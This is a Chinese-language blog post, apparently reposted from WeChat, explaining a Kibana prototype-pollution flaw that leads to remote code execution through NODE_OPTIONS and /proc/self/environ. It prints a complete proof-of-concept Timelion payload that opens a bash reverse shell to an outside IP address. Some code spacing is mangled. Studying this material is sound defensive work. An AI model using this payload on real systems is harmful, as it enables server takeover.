Kibana漏洞之javascript原型链污染又文件包含漏洞的非常详细的分析的黑客教程
2019-10-22 01:08:49 Author: mp.weixin.qq.com(查看原文) 阅读量:5 收藏

这是一篇黑客教程,为啥?因为文章里有poc,写完文章的我,瑟瑟发抖,明天要是见不到我,可能在监狱里吧……

01

Nodejs的子进程创建

如何获取客户端参数的代码写在了proccess.js中,我们关注下客户端参数解析

以上代码是nodejsexec方法的核心代码(卧槽,node自举了)可以看到代码调用了

normalizeExecArgs(command,options, callback);

而其中的options,是我们传入的命令行的参数,这个函数又调用了

function  normalizeSpawnArguments,而这个函数又调用了execFile,而execFile调用了spawn,而在spawn 里定义了这样的代码

const env =options.env || process.env;  获取客户端的options
const envPairs = []; // process.env.NODE_V8_COVERAGE alwayspropagates, making it possible to
// collect coverage for programs that spawnwith white-listed environment.
if (process.env.NODE_V8_COVERAGE &&
!ObjectPrototype.hasOwnProperty(options.env || {}, 'NODE_V8_COVERAGE')){
env.NODE_V8_COVERAGE =process.env.NODE_V8_COVERAGE;
  }  // Prototype values are intentionallyincluded. for (const key in env) {
const value = env[key];
if (value !== undefined) {
envPairs.push(`${key}=${value}`);
}
}

简单来说,客户端传入了options选项,那么就根据客户端的来处理,否则就去获取系统环境变量。

02


作者核心点

在这里我得提一下作者的思路

作者在命令行下尝试了

NODE_OPTIONS=’--require/proc/self/environ’ AAA=’cosole.log(123)//’ node

这是在shell里设置了一个NODE_OPTIONS的值和AAA环境变量,其中NODE_OPTIONS是可以这么写的,官方允许传递这样的参数,具体的文档在http://nodejs.cn/api/cli/node_options_options.html

内容是

作者做这个实验的核心目的就是表达,我在shell下传递options可以包含环境变量来执行代码也可以通过污染原型链来设置环境变量console.log这个地方就是任意的nodejs表达式,包括执行命令的,这个是为了实验。

03


关于.envprocess.env/proc/self/environ

官方解释:process 对象是一个 global (全局变量),提供有关信息,控制当前 Node.js 进程。该对象表示Node所处的当前进程,允许开发者与该进程互动。打开命令行,输入node,再输入process.env,可以看见process.env是一个对象。这个对象在kibana这里就是有很多属性,我们污染的这个NODE_OPTIONS就是这个env的属性之一,其实还有NODE_ENV之类的属性。还有版本之类的

根据子进程创建的逻辑,我们是否可以构造一个恶意的代码来污染原型链,因为代码里写了如果没定义process.env就去调用系统的环境变量,而根据javascript规则,我们随意设置一个对象的_proto_env就可以覆盖掉processenv属性了,这样的话我们可以就定义好了,定义并且赋值就不会undefined了。

简单的说就是object.env下的属性就会被写入到/proc/self/environ里。

所以poc的下半句是

.props(label.__proto__.env.NODE_OPTIONS='--require/proc/self/environ')

根据作者核心思路“shell下传递options可以包含环境变量来执行代码也可以通过污染原型链来设置环境变量”,我们开始尝试使用代码来设置环境变量而不是shell

/proc/self/environ就和php一样的,如果你设置了进程的环境变量,那么在运行的时候通过linux/proc/self/environ可以读取进程的环境变量

04


如何在代码里设置环境变量?

答案是通过原型链污染,我们先污染object.env,也就是设置label.__proto__.env.NODE_OPTIONS,这样的话我们去访问process.env.NODE_OPTIONS就是我们设置的值,根据上面nodejs核心代码child_process.js的逻辑,我们传递的options最终会变成spawn的一个参数 ,作为环境变量执行。

05


文件包含获得shell

最后我们通过

label.__proto__.env.NODE_OPTIONS='--require/proc/self/environ' 

的设置了process.env.NODE_OPTIONS的值,被node读取到了,然后根据官方手册里写的,相当于运行了

node --require “xxx.xxx” 

(就和php里的include 一样,node require的不一定非要是js文件,就和php不一定要是php文件一样)

Poc的另外一句话是:

.es(*).props(label.__proto__.env.AAAA='require("child_process").exec("bash-i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')

这里的AAA也是会被写入到/proc/self/environ,最后的环境变量应该是

AAA= require("child_process").exec("bash-i >& /dev/tcp/192.168.0.136/12345 0>&1");process.exit()//NODE_OPTIONS=--require/proc/self/environYarn_VERSION=1.17.3HOSTNAME=7da7727ddePWD=balabalabalabala#^&*(*&^%$

因为//是注释,所以后面忽略,然后这个文件被当作require的参数包含起来了,里面的代码自然就执行了。

06


几个重要的知识

1、设置了xx.env.aaa的内容会被写入/proc/self/environ里,内容就是

aaa=xxxx;

怎么设置?通过原型链

2、Poc设置了2个环境变量,一个被注释了

3、NODE_OPTIONSnodeV8.0.0后才开始存在(如果你没成功,那么可以排查下nodejs的版本)

全剧终

不知道怎么开通打赏不然嘿嘿…………


END

模板抄袭于雷神测测


文章来源: http://mp.weixin.qq.com/s?__biz=MzA4NzA5OTYzNw==&mid=2247483761&idx=1&sn=a366c51bd57b4fead862d11616a10b19&chksm=903fd0eba74859fd6ba296e29bf600a1004eeed72de3fb433c74d47654ce37a435e6d1e2742c&mpshare=1&scene=24&srcid=&sharer_sharetime=1571677729086&sharer_shareid=5191b3dcb328f693d5261ba6bca8d267#rd
如有侵权请联系:admin#unsafe.sh